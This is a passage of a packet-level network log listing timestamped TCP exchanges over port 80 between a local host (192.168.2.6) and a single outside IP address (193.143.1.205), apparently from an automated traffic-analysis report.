Jan 10, 2025 23:06:09.122294903 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122315884 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122332096 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122364998 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122447014 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122463942 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122481108 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122500896 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.122555971 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.122595072 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.124041080 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157217979 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157248974 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157275915 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157289028 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157334089 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157341957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157363892 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157368898 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157382965 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157402039 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157497883 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157538891 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157574892 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157591105 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157604933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157624960 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157799006 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157814026 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157838106 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157881021 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157917023 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157919884 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.157932997 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.157965899 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158008099 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158024073 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158066034 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158229113 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158282995 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158298016 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158317089 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158350945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158385992 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158438921 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158453941 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158471107 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158485889 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158489943 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158519983 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158554077 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158854961 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158905983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158910036 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158921957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.158953905 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.158998013 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159013033 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159053087 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159090042 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159105062 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159120083 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159135103 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159138918 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159167051 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159539938 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159610033 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159624100 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159645081 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159709930 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159724951 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159739017 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159759045 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159759998 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159780025 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159945011 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159960032 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159976006 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.159987926 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.159992933 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160010099 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160012960 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160027027 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160057068 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160527945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160567999 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160578012 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160593033 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160623074 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160696983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160712004 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160726070 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160741091 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160768032 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160787106 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160845041 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160867929 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160882950 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160897017 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160912037 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.160923004 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.160947084 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162137985 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162192106 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162195921 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162213087 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162246943 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162292957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162309885 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162327051 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162341118 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162342072 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162384033 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162446022 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162461996 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162477016 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162496090 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162535906 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162550926 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162570000 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162627935 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162642956 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162658930 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.162667036 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.162691116 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163089037 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163140059 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163156033 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163177013 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163220882 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163235903 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163252115 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163260937 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163288116 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163348913 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163363934 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163379908 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163394928 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163398981 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163414001 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163433075 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.163568020 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163583994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.163609982 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.164150000 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164166927 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164181948 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164189100 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.164215088 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164216995 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.164231062 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164246082 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164261103 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.164263964 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.164294958 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.165250063 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.173921108 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.173949957 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.173964977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174000025 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174017906 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.174035072 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174053907 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.174115896 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174132109 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174146891 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.174191952 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.208736897 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208785057 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208801031 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208856106 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.208887100 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208903074 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208918095 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.208925009 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.208949089 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.208980083 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209074974 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209089041 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209104061 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209109068 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.209120035 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209135056 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209137917 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.209151983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209166050 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.209315062 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209331036 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.209347963 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244218111 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244250059 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244265079 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244281054 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244309902 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244369030 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244385004 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244401932 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244425058 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244453907 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244469881 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244484901 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244492054 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244498968 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244514942 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244520903 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244549036 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244595051 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244610071 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244625092 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244638920 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244642973 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244653940 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244673014 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244720936 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244735956 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244755983 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244757891 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244771004 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244786024 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244787931 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244817972 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244852066 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244867086 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244880915 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244895935 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244900942 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244930983 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.244972944 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.244987965 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245002985 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245018959 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245019913 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245053053 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245079994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245095968 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245110035 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245125055 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245129108 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245163918 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245223999 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245239019 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245253086 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245268106 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245280981 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245281935 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245297909 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245309114 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245315075 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245340109 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245446920 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245461941 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245476007 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245490074 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245491028 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245507002 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245522022 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245523930 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245537043 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245543957 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245578051 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245701075 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245713949 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245728016 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245743036 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245752096 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245764971 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245780945 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245790005 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245795965 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245812893 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245815992 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245857000 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.245893002 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245908022 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245923042 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.245949984 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246025085 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246047974 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246062994 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246069908 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246079922 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246094942 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246103048 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246109962 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246125937 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246140003 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246140957 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246155977 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246165991 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246171951 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246187925 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246197939 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246203899 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246222019 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246440887 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246455908 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246470928 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246484041 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246484995 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246500969 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246509075 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246515036 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246531010 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246539116 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246582985 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246591091 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246598959 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246615887 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246629953 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246639013 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246645927 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246663094 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246673107 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246679068 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246695042 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246706009 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246710062 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246726990 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246741056 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246745110 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246758938 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.246773958 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246794939 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.246901035 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.258476019 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.260617018 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.260668993 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.266839027 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279016018 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279067039 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279079914 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279103041 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279114008 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279119015 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279187918 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279206038 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279212952 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279237032 CET	49724	80	192.168.2.6	193.143.1.205
Jan 10, 2025 23:06:09.279242039 CET	80	49724	193.143.1.205	192.168.2.6
Jan 10, 2025 23:06:09.279258966 CET	80	49724	193.143.1.205	192.168.2.6
